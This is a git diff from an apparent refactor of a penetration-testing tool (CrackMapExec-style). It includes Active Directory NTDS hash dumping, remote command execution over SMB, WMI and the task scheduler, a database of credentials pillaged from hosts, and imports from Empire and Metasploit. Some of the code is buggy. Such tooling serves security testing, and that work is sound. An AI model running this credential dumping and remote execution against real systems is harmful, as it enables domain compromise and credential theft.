remoteOps=self.__remoteOps, + useVSSMethod=self.__useVSSMethod, justNTLM=self.__justDCNTLM, + pwdLastSet=self.__pwdLastSet, resumeSession=self.__resumeFileName, + outputFileName=self.__outputFileName, justUser=self.__justUser, + printUserStatus= self.__printUserStatus) + + logging.success('Dumping the NTDS, this could take a while so go grab a redbull...') + NTDSHashes.dump() + + ntds_hashes = 0 + with open(self.output_filename + '.ntds' , 'r') as ntds_file: + for ntds_hash in ntds_file: + #parse this shizzle here + self.db.add_ntds_hash(hostid, self.domain, self.username, ntds_hash) + ntds_hash += 1 + self.logger.success('Added {} NTDS hashes to the database'.format(highlight(ntds_hashes))) + + except Exception as e: + if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0: + # We don't store the resume file if this error happened, since this error is related to lack + # of enough privileges to access DRSUAPI. + resumeFile = NTDSHashes.getResumeSessionFile() + if resumeFile is not None: + os.unlink(resumeFile) + self.logger.error(e) + if self.args.ntds is not 'drsuapi': + self.logger.error('Something wen\'t wrong with the DRSUAPI approach. Try again with --ntds vss') + + self.remote_ops.finish() + NTDSHashes.finish() + + #@requires_admin + #def wdigest(self): + # return getattr(WDIGEST(self), self.args.wdigest)() diff --git a/cme/protocols/smb/__init__.py b/cme/protocols/smb/__init__.py new file mode 100755 index 00000000..e69de29b diff --git a/cme/execmethods/atexec.py b/cme/protocols/smb/atexec.py old mode 100644 new mode 100755 similarity index 98% rename from cme/execmethods/atexec.py rename to cme/protocols/smb/atexec.py index 58da9d1a..043cae74 --- a/cme/execmethods/atexec.py +++ b/cme/protocols/smb/atexec.py @@ -2,7 +2,7 @@ import os import logging from impacket.dcerpc.v5 import tsch, transport from impacket.dcerpc.v5.dtypes import NULL -from cme.helpers import gen_random_string +from cme.helpers.misc import gen_random_string from gevent import sleep class TSCH_EXEC: @@ -101,7 +101,7 @@ class TSCH_EXEC: argument_xml = " /C {} > \\\\{}\\{}\\{} 2>&1".format(command, local_ip, self.__share_name, tmpFileName) else: argument_xml = " /C {} > %windir%\\Temp\\{} 2>&1".format(command, tmpFileName) - + elif self.__retOutput is False: argument_xml = " /C {}".format(command) @@ -180,4 +180,4 @@ class TSCH_EXEC: #logging.debug('Deleting file ADMIN$\\Temp\\%s' % tmpFileName) smbConnection.deleteFile('ADMIN$', 'Temp\\%s' % tmpFileName) - dce.disconnect() \ No newline at end of file + dce.disconnect() diff --git a/cme/protocols/smb/database.py b/cme/protocols/smb/database.py new file mode 100755 index 00000000..d5cf066f --- /dev/null +++ b/cme/protocols/smb/database.py @@ -0,0 +1,350 @@ +class database: + + def __init__(self, conn): + self.conn = conn + + @staticmethod + def db_schema(db_conn): + db_conn.execute('''CREATE TABLE "computers" ( + "id" integer PRIMARY KEY, + "ip" text, + "hostname" text, + "domain" text, + "os" text, + "dc" boolean + )''') + + # type = hash, plaintext + db_conn.execute('''CREATE TABLE "credentials" ( + "id" integer PRIMARY KEY, + "userid", integer, + "credtype" text, + "password" text, + "pillaged_from_computerid" integer, + FOREIGN KEY(userid) REFERENCES users(id), + FOREIGN KEY(pillaged_from_computerid) REFERENCES computers(id) + )''') + + db_conn.execute('''CREATE TABLE "users" ( + "id" integer PRIMARY KEY, + "domain" text, + "username" text, + "local" boolean, + )''') + + db_conn.execute('''CREATE TABLE "groups" ( + "id" integer PRIMARY KEY, + "domain" text, + "name" text + )''') + + db_conn.execute('''CREATE TABLE "ntds_dumps" ( + "id" integer PRIMARY KEY, + "computerid", integer, + "domain" text, + "username" text, + "hash" text, + FOREIGN KEY(computerid) REFERENCES computers(id) + )''') + + #This table keeps track of which credential has admin access over which machine and vice-versa + db_conn.execute('''CREATE TABLE "admin_relations" ( + "id" integer PRIMARY KEY, + "userid" integer, + "computerid" integer, + FOREIGN KEY(userid) REFERENCES users(id), + FOREIGN KEY(computerid) REFERENCES computers(id) + )''') + + db_conn.execute('''CREATE TABLE "loggedin_relations" ( + "id" integer PRIMARY KEY, + "userid" integer, + "computerid" integer, + FOREIGN KEY(userid) REFERENCES users(id), + FOREIGN KEY(computerid) REFERENCES computers(id) + )''') + + db_conn.execute('''CREATE TABLE "group_relations" ( + "id" integer PRIMARY KEY, + "userid" integer, + "groupid" integer, + FOREIGN KEY(userid) REFERENCES users(id), + FOREIGN KEY(groupid) REFERENCES groups(id) + )''') + + #db_conn.execute('''CREATE TABLE "shares" ( + # "id" integer PRIMARY KEY, + # "hostid" integer, + # "name" text, + # "remark" text, + # "read" boolean, + # "write" boolean + # )''') + + #def add_share(self, hostid, name, remark, read, write): + # cur = self.conn.cursor() + + # cur.execute("INSERT INTO shares (hostid, name, remark, read, write) VALUES (?,?,?,?,?)", [hostid, name, remark, read, write]) + + # cur.close() + + def add_host(self, ip, hostname, domain, os, dc=False): + """ + Check if this host has already been added to the database, if not add it in. + """ + cur = self.conn.cursor() + + cur.execute('SELECT * FROM computers WHERE ip LIKE ?', [ip]) + results = cur.fetchall() + + if not len(results): + cur.execute("INSERT INTO computers (ip, hostname, domain, os, dc) VALUES (?,?,?,?,?)", [ip, hostname, domain, os, dc]) + + cur.close() + + def add_credential(self, credtype, domain, username, password, pillaged_from='NULL', local=False, userID=None): + """ + Check if this credential has already been added to the database, if not add it in. + """ + self.add_user(domain, username, local) + + cur = self.conn.cursor() + + cur.execute("SELECT * FROM users WHERE LOWER(domain)=LOWER(?) AND LOWER(username)=LOWER(?) AND local=?", [domain, username, local]) + results = cur.fetchall() + for user in results: + userid = user[0] + cur.execute("SELECT * from credentials WHERE userid=? AND credtype=? AND password=?", [userid, credtype, password]) + results=cur.fetchall() + if not len(results): + cur.execute("INSERT INTO credentials (userid, credtype, password, pillaged_from_computerid) VALUES (?,?,?,?)", [userid, credtype, password, pillaged_from] ) + + cur.close() + + def add_user(self, domain, username, local=False): + cur = self.conn.cursor() + + cur.execute("SELECT * FROM users WHERE LOWER(domain)=LOWER(?) and LOWER(username)=LOWER(?) and local=(?)", [domain, username, local]) + results = cur.fetchall() + + if not len(results): + cur.execute("INSERT INTO users (domain, username, local) VALUES (?,?,?)", [domain, username, local]) + + cur.close() + + def add_group(self, domain, name): + + cur = self.conn.cursor() + + cur.execute("SELECT * FROM groups WHERE LOWER(domain)=LOWER(?) AND LOWER(name)=LOWER(?)", [domain, name]) + results = cur.fetchall() + + if not len(results): + cur.execute("INSERT INTO groups (domain, name) VALUES (?,?)", [domain, name]) + + cur.close() + + def add_ntds_hash(self, hostid, domain, username, hash): + + cur = self.conn.cursor() + + cur.execute("INSERT INTO ntds (dcid, domain, username, hash) VALUES (?,?,?,?)", [hostid, domain, username, hash]) + + cur.close() + + def remove_credentials(self, credIDs): + """ + Removes a credential ID from the database + """ + for credID in credIDs: + cur = self.conn.cursor() + cur.execute("DELETE FROM credentials WHERE id=?", [credID]) + cur.close() + + def add_admin_user(self, userid, host): + + cur = self.conn.cursor() + + cur.execute("SELECT * FROM users WHERE userid=?", [userid]) + users = cur.fetchall() + + cur.execute('SELECT * FROM computers WHERE ip LIKE ?', [host]) + hosts = cur.fetchall() + + if len(users) and len(hosts): + for user, host in zip(users, hosts): + userid = user[0] + hostid = host[0] + + #Check to see if we already added this link + cur.execute("SELECT * FROM admin_relations WHERE userid=? AND computerid=?", [userid, hostid]) + links = cur.fetchall() + + if not len(links): + cur.execute("INSERT INTO admin_relations (userid, computerid) VALUES (?,?)", [userid, hostid]) + + cur.close() + + def get_admin_relations(self, userID=None, hostID=None): + + cur = self.conn.cursor() + + if userID: + cur.execute("SELECT * from admin_relations WHERE userid=?", [userID]) + + elif hostID: + cur.execute("SELECT * from admin_relations WHERE computerid=?", [hostID]) + + results = cur.fetchall() + cur.close() + return results + + def remove_admin_relation(self, userIDs=None, hostIDs=None): + + cur = self.conn.cursor() + + if userIDs: + for userID in userIDs: + cur.execute("DELETE FROM admin_relations WHERE userid=?", [userID]) + + elif hostIDs: + for hostID in hostIDs: + cur.execute("DELETE FROM admin_relations WHERE hostid=?", [hostID]) + + cur.close() + + def is_credential_valid(self, credentialID): + """ + Check if this credential ID is valid. + """ + cur = self.conn.cursor() + cur.execute('SELECT * FROM credentials WHERE id=? LIMIT 1', [credentialID]) + results = cur.fetchall() + cur.close() + return len(results) > 0 + + def get_credentials(self, filterTerm=None, credtype=None, userID=None): + """ + Return credentials from the database. + """ + + cur = self.conn.cursor() + + # if we're returning a single credential by ID + if self.is_credential_valid(filterTerm): + cur.execute("SELECT * FROM credentials WHERE id=? LIMIT 1", [filterTerm]) + + # if we're filtering by credtype + elif credtype: + cur.execute("SELECT * FROM credentials WHERE credtype=?", [credtype]) + + elif userID: + cur.execute("SELECT * FROM credentials WHERE userid=?", [userID]) + + # otherwise return all credentials + else: + cur.execute("SELECT * FROM credentials") + + results = cur.fetchall() + cur.close() + return results + + def is_user_valid(self, userID): + """ + Check if this User ID is valid. + """ + cur = self.conn.cursor() + cur.execute('SELECT * FROM users WHERE id=? LIMIT 1', [userID]) + results = cur.fetchall() + cur.close() + return len(results) > 0 + + def get_users(self, filterTerm=None): + + cur = self.conn.cursor() + + if self.is_user_valid(filterTerm): + cur.execute("SELECT * FROM users WHERE id=? LIMIT 1", [filterTerm]) + + # if we're filtering by username + elif filterTerm and filterTerm != '': + cur.execute("SELECT * FROM users WHERE LOWER(username) LIKE LOWER(?)", ['%{}%'.format(filterTerm)]) + + else: + cur.execute("SELECT * FROM users") + + results = cur.fetchall() + cur.close() + return results + + def is_host_valid(self, hostID): + """ + Check if this host ID is valid. + """ + cur = self.conn.cursor() + cur.execute('SELECT * FROM computers WHERE id=? LIMIT 1', [hostID]) + results = cur.fetchall() + cur.close() + return len(results) > 0 + + def get_hosts(self, filterTerm=None): + """ + Return hosts from the database. + """ + + cur = self.conn.cursor() + + # if we're returning a single host by ID + if self.is_host_valid(filterTerm): + cur.execute("SELECT * FROM computers WHERE id=? LIMIT 1", [filterTerm]) + + # if we're filtering by ip/hostname + elif filterTerm and filterTerm != "": + cur.execute("SELECT * FROM computers WHERE ip LIKE ? OR LOWER(hostname) LIKE LOWER(?)", ['%{}%'.format(filterTerm), '%{}%'.format(filterTerm)]) + + # otherwise return all credentials + else: + cur.execute("SELECT * FROM computers") + + results = cur.fetchall() + cur.close() + return results + + def get_group_members(self, groupID): + cur = self.conn.cursor() + + cur.execute("SELECT * from group_relations WHERE groupid=?", [groupID]) + + results = cur.fetchall() + cur.close() + return results + + def is_group_valid(self, groupID): + """ + Check if this group ID is valid. + """ + cur = self.conn.cursor() + cur.execute('SELECT * FROM groups WHERE id=? LIMIT 1', [groupID]) + results = cur.fetchall() + cur.close() + return len(results) > 0 + + def get_groups(self, filterTerm=None): + """ + Return groups from the database + """ + + cur = self.conn.cursor() + + if self.is_group_valid(filterTerm): + cur.execute("SELECT * FROM groups WHERE id=? LIMIT 1", [filterTerm]) + + elif filterTerm and filterTerm !="": + cur.execute("SELECT * FROM groups WHERE LOWER(name) LIKE LOWER(?)", ['%{}%'.format(filterTerm)]) + + else: + cur.execute("SELECT * FROM groups") + + results = cur.fetchall() + cur.close() + return results diff --git a/cme/protocols/smb/db_navigator.py b/cme/protocols/smb/db_navigator.py new file mode 100644 index 00000000..b0226b63 --- /dev/null +++ b/cme/protocols/smb/db_navigator.py @@ -0,0 +1,365 @@ +import requests +from requests import ConnectionError +#The following disables the InsecureRequests warning and the 'Starting new HTTPS connection' log message +from requests.packages.urllib3.exceptions import InsecureRequestWarning +requests.packages.urllib3.disable_warnings(InsecureRequestWarning) + +import cmd +from time import sleep +from cme.msfrpc import Msfrpc +from cme.protocols.smb.database import database + +class navigator(cmd.Cmd): + def __init__(self, main_menu): + cmd.Cmd.__init__(self) + + self.main_menu = main_menu + self.config = main_menu.config + self.db = database(main_menu.conn) + self.prompt = 'cmedb ({})({}) > '.format(main_menu.workspace, 'smb') + + def do_back(self, line): + raise + + def display_creds(self, creds): + + print "\nCredentials:\n" + print " CredID Admin On CredType Domain UserName Password" + print " ------ -------- -------- ------ -------- --------" + + for cred in creds: + # (id, credtype, domain, username, password, host, notes, sid) + credID = cred[0] + credType = cred[1] + domain = cred[2] + username = cred[3] + password = cred[4] + + links = self.db.get_links(credID=credID) + + print u" {}{}{}{}{}{}".format('{:<8}'.format(credID), + '{:<13}'.format(str(len(links)) + ' Host(s)'), + '{:<12}'.format(credType), + u'{:<17}'.format(domain.decode('utf-8')), + u'{:<21}'.format(username.decode('utf-8')), + u'{:<17}'.format(password.decode('utf-8'))) + + print "" + + def display_groups(self, groups): + print '\nGroups:\n' + print " GroupID Name" + print " ------- ----" + + for group in groups: + groupID = group[0] + name = group[1] + + print u" {} {}".format('{:<8}'.format(groupID), '{:<15}'.format(name)) + + print "" + + def display_hosts(self, hosts): + + print "\nHosts:\n" + print " HostID Admins IP Hostname Domain OS" + print " ------ ------ -- -------- ------ --" + + for host in hosts: + # (id, ip, hostname, domain, os) + hostID = host[0] + ip = host[1] + hostname = host[2] + domain = host[3] + os = host[4] + + links = self.db.get_links(hostID=hostID) + + print u" {}{}{}{}{}{}".format('{:<8}'.format(hostID), + '{:<15}'.format(str(len(links)) + ' Cred(s)'), + '{:<17}'.format(ip), + u'{:<25}'.format(hostname.decode('utf-8')), + u'{:<17}'.format(domain.decode('utf-8')), + '{:<17}'.format(os)) + + print "" + + def do_import(self, line): + + if not line: + return + + if line == 'empire': + headers = {'Content-Type': 'application/json'} + + #Pull the username and password from the config file + payload = {'username': self.config.get('Empire', 'username'), + 'password': self.config.get('Empire', 'password')} + + #Pull the host and port from the config file + base_url = 'https://{}:{}'.format(self.config.get('Empire', 'api_host'), self.config.get('Empire', 'api_port')) + + try: + r = requests.post(base_url + '/api/admin/login', json=payload, headers=headers, verify=False) + if r.status_code == 200: + token = r.json()['token'] + + url_params = {'token': token} + r = requests.get(base_url + '/api/creds', headers=headers, params=url_params, verify=False) + creds = r.json() + + for cred in creds['creds']: + if cred['credtype'] == 'token' or cred['credtype'] == 'krbtgt' or cred['username'].endswith('$'): + continue + + self.db.add_credential(cred['credtype'], cred['domain'], cred['username'], cred['password']) + + print "[+] Empire credential import successful" + else: + print "[-] Error authenticating to Empire's RESTful API server!" + + except ConnectionError as e: + print "[-] Unable to connect to Empire's RESTful API server: {}".format(e) + + elif line == 'metasploit': + msf = Msfrpc({'host': self.config.get('Metasploit', 'rpc_host'), + 'port': self.config.get('Metasploit', 'rpc_port')}) + + try: + msf.login('msf', self.config.get('Metasploit', 'password')) + except MsfAuthError: + print "[-] Error authenticating to Metasploit's MSGRPC server!" + return + + console_id = str(msf.call('console.create')['id']) + + msf.call('console.write', [console_id, 'creds\n']) + + sleep(2) + + creds = msf.call('console.read', [console_id]) + + for entry in creds['data'].split('\n'): + cred = entry.split() + try: + host = cred[0] + port = cred[2] + proto = cred[3] + username = cred[4] + password = cred[5] + cred_type = cred[6] + + if proto == '(smb)' and cred_type == 'Password': + self.db.add_credential('plaintext', '', username, password) + + except IndexError: + continue + + msf.call('console.destroy', [console_id]) + + print "[+] Metasploit credential import successful" + + def complete_import(self, text, line, begidx, endidx): + "Tab-complete 'import' commands." + + commands = ["empire", "metasploit"] + + mline = line.partition(' ')[2] + offs = len(mline) - len(text) + return [s[offs:] for s in commands if s.startswith(mline)] + + + def do_groups(self, line): + + filterTerm = line.strip() + + if filterTerm == "": + groups = self.db.get_groups() + self.display_groups(groups) + + else: + groups = self.db.get_groups(filterTerm=filterTerm) + + if len(groups) > 1: + self.display_groups(groups) + elif len(groups) == 1: + print '\nGroup:\n' + print " GroupID Name" + print " ------- ----" + + for group in groups: + groupID = group[0] + name = group[1] + + members = self.db_ + + def do_hosts(self, line): + + filterTerm = line.strip() + + if filterTerm == "": + hosts = self.db.get_hosts() + self.display_hosts(hosts) + + else: + hosts = self.db.get_hosts(filterTerm=filterTerm) + + if len(hosts) > 1: + self.display_hosts(hosts) + elif len(hosts) == 1: + print "\nHost(s):\n" + print " HostID IP DC Hostname Domain OS" + print " ------ -- -- -------- ------ --" + + hostIDList = [] + + for host in hosts: + hostID = host[0] + hostIDList.append(hostID) + + ip = host[1] + hostname = host[2] + domain = host[3] + os = host[4] + dc = host[5] + + print u" {}{}{}{}{}".format('{:<8}'.format(hostID), + '{:<17}'.format(ip), + '{:<17}'.format(dc), + u'{:<25}'.format(hostname.decode('utf-8')), + u'{:<17}'.format(domain.decode('utf-8')), + '{:<17}'.format(os)) + + print "" + + print "\nCredential(s) with Admin Access:\n" + print " CredID CredType Domain UserName Password" + print " ------ -------- ------ -------- --------" + + for hostID in hostIDList: + links = self.db.get_links(hostID=hostID) + + for link in links: + linkID, credID, hostID = link + creds = self.db.get_credentials(filterTerm=credID) + + for cred in creds: + credID = cred[0] + credType = cred[1] + domain = cred[2] + username = cred[3] + password = cred[4] + + print u" {}{}{}{}{}".format('{:<8}'.format(credID), + '{:<12}'.format(credType), + u'{:<17}'.format(domain.decode('utf-8')), + u'{:<21}'.format(username.decode('utf-8')), + u'{:<17}'.format(password.decode('utf-8'))) + + print "" + + def do_creds(self, line): + + filterTerm = line.strip() + + if filterTerm == "": + creds = self.db.get_credentials() + self.display_creds(creds) + + elif filterTerm.split()[0].lower() == "add": + + # add format: "domain username password + args = filterTerm.split()[1:] + + if len(args) == 3: + domain, username, password = args + if validate_ntlm(password): + self.db.add_credential("hash", domain, username, password) + else: + self.db.add_credential("plaintext", domain, username, password) + + else: + print "[!] Format is 'add domain username password" + return + + elif filterTerm.split()[0].lower() == "remove": + + args = filterTerm.split()[1:] + if len(args) != 1 : + print "[!] Format is 'remove '" + return + else: + self.db.remove_credentials(args) + self.db.remove_links(credIDs=args) + + elif filterTerm.split()[0].lower() == "plaintext": + creds = self.db.get_credentials(credtype="plaintext") + self.display_creds(creds) + + elif filterTerm.split()[0].lower() == "hash": + creds = self.db.get_credentials(credtype="hash") + self.display_creds(creds) + + else: + creds = self.db.get_credentials(filterTerm=filterTerm) + + print "\nCredential(s):\n" + print " CredID CredType Pillaged From HostID Domain UserName Password" + print " ------ -------- -------------------- ------ -------- --------" + + credIDList = [] + + for cred in creds: + credID = cred[0] + credIDList.append(credID) + + credType = cred[1] + domain = cred[2] + username = cred[3] + password = cred[4] + pillaged_from = cred[5] + + print u" {}{}{}{}{}{}".format('{:<8}'.format(credID), + '{:<12}'.format(credType), + '{:<22}'.format(pillaged_from), + u'{:<17}'.format(domain.decode('utf-8')), + u'{:<21}'.format(username.decode('utf-8')), + u'{:<17}'.format(password.decode('utf-8')) + ) + + print "" + + print "\nAdmin Access to Host(s):\n" + print " HostID IP Hostname Domain OS" + print " ------ -- -------- ------ --" + + for credID in credIDList: + links = self.db.get_links(credID=credID) + + for link in links: + linkID, credID, hostID = link + hosts = self.db.get_hosts(hostID) + + for host in hosts: + hostID = host[0] + ip = host[1] + hostname = host[2] + domain = host[3] + os = host[4] + + print u" {}{}{}{}{}".format('{:<8}'.format(hostID), + '{:<17}'.format(ip), + u'{:<25}'.format(hostname.decode('utf-8')), + u'{:<17}'.format(domain.decode('utf-8')), + '{:<17}'.format(os)) + + print "" + + def complete_creds(self, text, line, begidx, endidx): + "Tab-complete 'creds' commands." + + commands = [ "add", "remove", "hash", "plaintext"] + + mline = line.partition(' ')[2] + offs = len(mline) - len(text) + return [s[offs:] for s in commands if s.startswith(mline)] diff --git a/cme/remotefile.py b/cme/protocols/smb/remotefile.py old mode 100644 new mode 100755 similarity index 100% rename from cme/remotefile.py rename to cme/protocols/smb/remotefile.py diff --git a/cme/execmethods/smbexec.py b/cme/protocols/smb/smbexec.py old mode 100644 new mode 100755 similarity index 97% rename from cme/execmethods/smbexec.py rename to cme/protocols/smb/smbexec.py index 25256c22..b0a0298b --- a/cme/execmethods/smbexec.py +++ b/cme/protocols/smb/smbexec.py @@ -3,7 +3,7 @@ import os from gevent import sleep from impacket.dcerpc.v5 import transport, scmr from impacket.smbconnection import * -from cme.helpers import gen_random_string +from cme.helpers.misc import gen_random_string class SMBEXEC: @@ -44,7 +44,7 @@ class SMBEXEC: logging.debug('StringBinding %s'%stringbinding) self.__rpctransport = transport.DCERPCTransportFactory(stringbinding) self.__rpctransport.set_dport(self.__port) - + if hasattr(self.__rpctransport, 'setRemoteHost'): self.__rpctransport.setRemoteHost(self.__host) if hasattr(self.__rpctransport, 'set_credentials'): @@ -101,7 +101,7 @@ class SMBEXEC: self.get_output_fileless() def get_output_fileless(self): - if not self.__retOutput: return + if not self.__retOutput: return while True: try: @@ -115,7 +115,7 @@ class SMBEXEC: # Just in case the service is still created try: self.__scmr = self.__rpctransport.get_dce_rpc() - self.__scmr.connect() + self.__scmr.connect() self.__scmr.bind(scmr.MSRPC_UUID_SCMR) resp = scmr.hROpenSCManagerW(self.__scmr) self.__scHandle = resp['lpScHandle'] diff --git a/cme/spider/smbspider.py b/cme/protocols/smb/smbspider.py old mode 100644 new mode 100755 similarity index 92% rename from cme/spider/smbspider.py rename to cme/protocols/smb/smbspider.py index acb79a36..4f5d7c43 --- a/cme/spider/smbspider.py +++ b/cme/protocols/smb/smbspider.py @@ -1,8 +1,9 @@ from time import time, strftime, localtime -from cme.remotefile import RemoteFile +from cme.protocols.smb.remotefile import RemoteFile from impacket.smb3structs import FILE_READ_DATA from impacket.smbconnection import SessionError from sys import exit +import logging import re import traceback @@ -57,9 +58,8 @@ class SMBSpider: return except SessionError as e: if not filelist: - self.logger.error("Failed to connect to share {}: {}".format(self.args.share, e)) - return - pass + logging.debug("Failed listing files on share {} in directory {}: {}".format(self.args.share, subfolder, e)) + return for result in filelist: if result.is_directory() and result.get_longname() != '.' and result.get_longname() != '..': @@ -103,12 +103,9 @@ class SMBSpider: return def search_content(self, path, result): - path = path.replace('*', '') + path = path.replace('*', '') try: - rfile = RemoteFile(self.smbconnection, - path + result.get_longname(), - self.args.share, - access = FILE_READ_DATA) + rfile = RemoteFile(self.smbconnection, path + result.get_longname(), self.args.share, access = FILE_READ_DATA) rfile.open() while True: @@ -130,7 +127,7 @@ class SMBSpider: self.logger.highlight(u"//{}/{}{} [lastm:'{}' size:{} offset:{} pattern:'{}']".format(self.args.share, path, result.get_longname(), - 'n\\a' if not self.get_lastm_time(result) else self.get_lastm_time(result), + 'n\\a' if not self.get_lastm_time(result) else self.get_lastm_time(result), result.get_filesize(), rfile.tell(), pattern)) @@ -141,7 +138,7 @@ class SMBSpider: self.logger.highlight(u"//{}/{}{} [lastm:'{}' size:{} offset:{} regex:'{}']".format(self.args.share, path, result.get_longname(), - 'n\\a' if not self.get_lastm_time(result) else self.get_lastm_time(result), + 'n\\a' if not self.get_lastm_time(result) else self.get_lastm_time(result), result.get_filesize(), rfile.tell(), regex.pattern)) @@ -156,4 +153,4 @@ class SMBSpider: traceback.print_exc() def finish(self): - self.logger.info("Done spidering (Completed in {})".format(time() - self.start_time)) \ No newline at end of file + self.logger.info("Done spidering (Completed in {})".format(time() - self.start_time)) diff --git a/cme/execmethods/wmiexec.py b/cme/protocols/smb/wmiexec.py old mode 100644 new mode 100755 similarity index 97% rename from cme/execmethods/wmiexec.py rename to cme/protocols/smb/wmiexec.py index fc2aeeb7..e1df420c --- a/cme/execmethods/wmiexec.py +++ b/cme/protocols/smb/wmiexec.py @@ -2,7 +2,7 @@ import ntpath, logging import os from gevent import sleep -from cme.helpers import gen_random_string +from cme.helpers.misc import gen_random_string from impacket.dcerpc.v5.dcomrt import DCOMConnection from impacket.dcerpc.v5.dcom import wmi from impacket.dcerpc.v5.dtypes import NULL @@ -34,7 +34,7 @@ class WMIEXEC: self.__nthash = hashes if self.__password is None: - self.__password = '' + self.__password = '' self.__dcom = DCOMConnection(self.__target, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver = True, doKerberos=self.__doKerberos) iInterface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) @@ -80,7 +80,7 @@ class WMIEXEC: def execute_remote(self, data): self.__output = '\\Windows\\Temp\\' + gen_random_string(6) - command = self.__shell + data + command = self.__shell + data if self.__retOutput: command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1' @@ -125,4 +125,4 @@ class WMIEXEC: #print str(e) pass - self.__smbconnection.deleteFile(self.__share, self.__output) \ No newline at end of file + self.__smbconnection.deleteFile(self.__share, self.__output) diff --git a/cme/remoteoperations.py b/cme/remoteoperations.py deleted file mode 100644 index 59addde0..00000000 --- a/cme/remoteoperations.py +++ /dev/null @@ -1,509 +0,0 @@ -import logging -import random -import string -from gevent import sleep -from impacket.dcerpc.v5.rpcrt import DCERPCException -from impacket.dcerpc.v5 import transport, drsuapi, scmr, rrp, samr, epm -from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY -from impacket.dcerpc.v5.dtypes import NULL -from cme.credentials.ntds import NTDSHashes -from binascii import unhexlify, hexlify -from cme.remotefile import RemoteFile - -class RemoteOperations: - def __init__(self, smbConnection, doKerberos): - self.__smbConnection = smbConnection - self.__smbConnection.setTimeout(5*60) - self.__serviceName = 'RemoteRegistry' - self.__stringBindingWinReg = r'ncacn_np:445[\pipe\winreg]' - self.__rrp = None - self.__regHandle = None - - self.__stringBindingSamr = r'ncacn_np:445[\pipe\samr]' - self.__samr = None - self.__domainHandle = None - self.__domainName = None - - self.__drsr = None - self.__hDrs = None - self.__NtdsDsaObjectGuid = None - self.__ppartialAttrSet = None - self.__prefixTable = [] - self.__doKerberos = doKerberos - - self.__bootKey = '' - self.__disabled = False - self.__shouldStop = False - self.__started = False - - self.__stringBindingSvcCtl = r'ncacn_np:445[\pipe\svcctl]' - self.__scmr = None - self.__tmpServiceName = None - self.__serviceDeleted = False - - self.__batchFile = '%TEMP%\\execute.bat' - self.__shell = '%COMSPEC% /Q /c ' - self.__output = '%SYSTEMROOT%\\Temp\\__output' - self.__answerTMP = '' - - def __connectSvcCtl(self): - rpc = transport.DCERPCTransportFactory(self.__stringBindingSvcCtl) - rpc.set_smb_connection(self.__smbConnection) - self.__scmr = rpc.get_dce_rpc() - self.__scmr.connect() - self.__scmr.bind(scmr.MSRPC_UUID_SCMR) - - def __connectWinReg(self): - rpc = transport.DCERPCTransportFactory(self.__stringBindingWinReg) - rpc.set_smb_connection(self.__smbConnection) - self.__rrp = rpc.get_dce_rpc() - self.__rrp.connect() - self.__rrp.bind(rrp.MSRPC_UUID_RRP) - - def connectSamr(self, domain): - rpc = transport.DCERPCTransportFactory(self.__stringBindingSamr) - rpc.set_smb_connection(self.__smbConnection) - self.__samr = rpc.get_dce_rpc() - self.__samr.connect() - self.__samr.bind(samr.MSRPC_UUID_SAMR) - resp = samr.hSamrConnect(self.__samr) - serverHandle = resp['ServerHandle'] - - resp = samr.hSamrLookupDomainInSamServer(self.__samr, serverHandle, domain) - resp = samr.hSamrOpenDomain(self.__samr, serverHandle=serverHandle, domainId=resp['DomainId']) - self.__domainHandle = resp['DomainHandle'] - self.__domainName = domain - - def __connectDrds(self): - stringBinding = epm.hept_map(self.__smbConnection.getRemoteHost(), drsuapi.MSRPC_UUID_DRSUAPI, - protocol='ncacn_ip_tcp') - rpc = transport.DCERPCTransportFactory(stringBinding) - if hasattr(rpc, 'set_credentials'): - # This method exists only for selected protocol sequences. - rpc.set_credentials(*(self.__smbConnection.getCredentials())) - rpc.set_kerberos(self.__doKerberos) - self.__drsr = rpc.get_dce_rpc() - self.__drsr.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) - if self.__doKerberos: - self.__drsr.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) - self.__drsr.connect() - self.__drsr.bind(drsuapi.MSRPC_UUID_DRSUAPI) - - request = drsuapi.DRSBind() - request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID - drs = drsuapi.DRS_EXTENSIONS_INT() - drs['cb'] = len(drs) #- 4 - drs['dwFlags'] = drsuapi.DRS_EXT_GETCHGREQ_V6 | drsuapi.DRS_EXT_GETCHGREPLY_V6 | drsuapi.DRS_EXT_GETCHGREQ_V8 | drsuapi.DRS_EXT_STRONG_ENCRYPTION - drs['SiteObjGuid'] = drsuapi.NULLGUID - drs['Pid'] = 0 - drs['dwReplEpoch'] = 0 - drs['dwFlagsExt'] = 0 - drs['ConfigObjGUID'] = drsuapi.NULLGUID - drs['dwExtCaps'] = 127 - request['pextClient']['cb'] = len(drs) - request['pextClient']['rgb'] = list(str(drs)) - resp = self.__drsr.request(request) - if logging.getLogger().level == logging.DEBUG: - logging.debug('DRSBind() answer') - resp.dump() - - self.__hDrs = resp['phDrs'] - - # Now let's get the NtdsDsaObjectGuid UUID to use when querying NCChanges - resp = drsuapi.hDRSDomainControllerInfo(self.__drsr, self.__hDrs, self.__domainName, 2) - if logging.getLogger().level == logging.DEBUG: - logging.debug('DRSDomainControllerInfo() answer') - resp.dump() - - if resp['pmsgOut']['V2']['cItems'] > 0: - self.__NtdsDsaObjectGuid = resp['pmsgOut']['V2']['rItems'][0]['NtdsDsaObjectGuid'] - else: - logging.error("Couldn't get DC info for domain %s" % self.__domainName) - raise Exception('Fatal, aborting') - - def getDrsr(self): - return self.__drsr - - def DRSCrackNames(self, formatOffered=drsuapi.DS_NAME_FORMAT.DS_DISPLAY_NAME, - formatDesired=drsuapi.DS_NAME_FORMAT.DS_FQDN_1779_NAME, name=''): - if self.__drsr is None: - self.__connectDrds() - - resp = drsuapi.hDRSCrackNames(self.__drsr, self.__hDrs, 0, formatOffered, formatDesired, (name,)) - return resp - - def DRSGetNCChanges(self, userEntry): - if self.__drsr is None: - self.__connectDrds() - - request = drsuapi.DRSGetNCChanges() - request['hDrs'] = self.__hDrs - request['dwInVersion'] = 8 - - request['pmsgIn']['tag'] = 8 - request['pmsgIn']['V8']['uuidDsaObjDest'] = 